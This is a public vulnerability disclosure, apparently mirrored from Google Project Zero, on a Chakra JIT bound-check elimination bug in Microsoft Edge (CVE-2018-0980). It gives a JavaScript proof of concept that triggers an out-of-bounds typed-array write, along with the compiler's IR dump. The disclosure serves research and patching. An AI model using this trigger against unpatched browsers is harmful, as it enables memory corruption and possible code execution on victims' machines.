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Microsoft Edge Chakra JIT Bounce Check Elimination Bug

Microsoft Edge Chakra JIT Bounce Check Elimination Bug
Posted May 18, 2018
Authored by Google Security Research, lokihardt

Chakra uses the InvariantBlockBackwardIterator class to backpropagate the information about the hoisted bound checks. But the class follows the linked list instead of the control flow. This may lead to incorrectly remove the bound checks.

tags | exploit
advisories | CVE-2018-0980
MD5 | 09442d487262053ca44c67ade9eacecb

Microsoft Edge Chakra JIT Bounce Check Elimination Bug

Change Mirror Download
Microsoft Edge: Chakra: JIT: A bound check elimination bug 

CVE-2018-0980


Chakra uses the InvariantBlockBackwardIterator class to backpropagate the information about the hoisted bound checks. But the class follows the linked list instaed of the control flow. This may lead to incorrectly remove the bound checks.

In the following code, currentBlock's block number is 4 and hoistBlock's block number is 1 (please see the IR code). I assume it should visit 4 -> 3 (skipped) -> 1 (break) in order with following the control flow, but it actually visits 4 -> 3 (skipped) -> 2 -> 1 (break) in order. This makes the block 2 have the wrong information about the bounds which affects the bound checks in the block 5 to be removed.

<a href="https://github.com/Microsoft/ChakraCore/blob/48c73e51c3e0fb36a08fa844cdb88c9d8a54de32/lib/Backend/GlobOpt.cpp#L14667" title="" class="" rel="nofollow">https://github.com/Microsoft/ChakraCore/blob/48c73e51c3e0fb36a08fa844cdb88c9d8a54de32/lib/Backend/GlobOpt.cpp#L14667</a>

if(hoistBlock != currentBlock)
{
for(InvariantBlockBackwardIterator it(this, currentBlock->next, hoistBlock, nullptr);
it.IsValid();
it.MoveNext())
{
BasicBlock *const block = it.Block();
...

PoC:
function opt(arr, idx) {
((arr.length === 0x7ffffff0 && arr[0x7ffffff0]) || false) && (arr.length === 0x7ffffff0 && arr[0x7ffffff1]) || (arr[0x11111111] = 0x1234);
}

function main() {
let arr = new Uint32Array(1);
for (let i = 0; i < 10000; i++) {
opt(arr);
}
}

main();

Here's the IR code for the PoC:

FunctionEntry #
---------

BLOCK 0: Out(1, 2)

$L8: #
s1[Object].var = Ld_A 0xXXXXXXXX (GlobalObject)[Object].var #
s21(s2)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 2147483632 (0x7FFFFFF0)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #
s3[Boolean].var = Ld_A 0xXXXXXXXX (false)[Boolean].var #
s22(s4)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 2147483633 (0x7FFFFFF1)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #
s23(s5)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 286331153 (0x11111111)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #
s24(s6)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 4660 (0x1234)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #
s7[LikelyCanBeTaggedValue_Uint32Array].var = ArgIn_A prm2<40>[LikelyCanBeTaggedValue_Uint32Array].var! #
s8[LikelyUndefined_CanBeTaggedValue].var = ArgIn_A prm3<48>[LikelyUndefined_CanBeTaggedValue].var! #


Line 2: arr.length === 0x7ffffff0 && arr[0x7ffffff0]) || false) && (arr.length === 0x7ffffff0 && arr[0x7ffffff1]) || (arr[0x11111111] = 0x1234);
Col 7: ^
StatementBoundary #0 #0000
BailOnNotArray s7[LikelyCanBeTaggedValue_Uint32Array].var #0000 Bailout: #0000 (BailOutOnNotArray)
s25.u32 = LdIndir [s7[Uint32Array].var+32].u32 #0000
NoImplicitCallUses s25.u32 #0000
ByteCodeUses s7 #0000
s26(s10)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 s25.u32 #0000
s15[Boolean].var = Ld_A 0xXXXXXXXX (false)[Boolean].var #0004
s9[Boolean].var = Ld_A 0xXXXXXXXX (false)[Boolean].var #0004
ByteCodeUses s10 #0004
BrNeq_I4 $L4, s26(s10)[CanBeTaggedValue_Int_IntCanBeUntagged].i32!, 2147483632 (0x7FFFFFF0).i32 #0004
---------

BLOCK 1: In(0) Out(2, 3)

$L7: #0008
s15[Boolean].var = Ld_A 0xXXXXXXXX (true)[Boolean].var #0008
s9[Boolean].var = Ld_A 0xXXXXXXXX (true)[Boolean].var #0008
BoundCheck 2147483633 < s25.u32 #000f Bailout: #000f (BailOutOnFailedHoistedBoundCheck)
s27.u64 = LdIndir [s7[Uint32Array].var+56].u64 #000f
NoImplicitCallUses s25.u32 #000f
s28(s16)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = LdElemI_A [s7[Uint32Array][seg: s27][segLen: s25][><].var+2147483632].var #000f Bailout: #000f (BailOutConventionalTypedArrayAccessOnly)
ByteCodeUses s16 #0015
s29(s9)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 s28(s16)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0015
s9[CanBeTaggedValue_Int].var = ToVar s29(s9)[CanBeTaggedValue_Int].i32 #0018
ByteCodeUses s16 #0018
BrTrue_I4 $L3, s28(s16)[CanBeTaggedValue_Int_IntCanBeUntagged].i32! #0018
---------

BLOCK 2: In(0, 1) Out(5)

$L4: #001c
s9[Boolean].var = Ld_A 0xXXXXXXXX (false)[Boolean].var #001c
Br $L2 #001e
---------

BLOCK 3: In(1) Out(4) DeadOut(5)

$L3: #0021
NoImplicitCallUses s25.u32 #0021
ByteCodeUses s7 #0021
s30(s17)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 s25.u32 #0021
s18[Boolean].var = Ld_A 0xXXXXXXXX (false)[Boolean].var #0025
s9[Boolean].var = Ld_A 0xXXXXXXXX (false)[Boolean].var #0025
ByteCodeUses s17 #0025
---------

BLOCK 4: In(3) Out(8, 5)

$L6: #0029
s18[Boolean].var = Ld_A 0xXXXXXXXX (true)[Boolean].var #0029
s9[Boolean].var = Ld_A 0xXXXXXXXX (true)[Boolean].var #0029
NoImplicitCallUses s25.u32 #0030
s31(s19)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = LdElemI_A [s7[Uint32Array][seg: s27][segLen: s25][><].var+2147483633].var #0030 Bailout: #0030 (BailOutConventionalTypedArrayAccessOnly)
ByteCodeUses s19 #0036
s29(s9)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 s31(s19)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0036
s9[CanBeTaggedValue_Int].var = ToVar s29(s9)[CanBeTaggedValue_Int].i32 #0039
ByteCodeUses s19 #0039
BrTrue_I4 $L9, s31(s19)[CanBeTaggedValue_Int_IntCanBeUntagged].i32! #0039
---------

BLOCK 5: In(2, 4) Out(6) DeadIn(3)

$L2: #003d
s32.u64 = LdIndir [s7[Uint32Array].var+56].u64 #003d
NoImplicitCallUses s25.u32 #003d
[s7[Uint32Array][seg: s32][segLen: s25][><].var+286331153].var = StElemI_A 4660 (0x1234).i32 #003d Bailout: #003d (BailOutConventionalTypedArrayAccessOnly)
s33(s20)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 4660 (0x1234)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0043
ByteCodeUses s20 #0046
s29(s9)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 4660 (0x1234)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0046
s34.u64 = Ld_A s32.u64 #004b
Br $L1 #004b
---------

BLOCK 8: **** Air lock Block **** In(4) Out(6)

$L9: #004b
s34.u64 = Ld_A s27.u64 #004b
Br $L1 #004b
---------

BLOCK 6: In(8, 5) Out(7)

$L1: #004b
s0[Undefined].var = Ld_A 0xXXXXXXXX (undefined)[Undefined].var #004b


Line 3: }
Col 1: ^
StatementBoundary #1 #004d
StatementBoundary #-1 #004d
Ret s0[Undefined].var! #004d
---------

BLOCK 7: In(6)

$L5: #
----------------------------------------------------------------------------------------



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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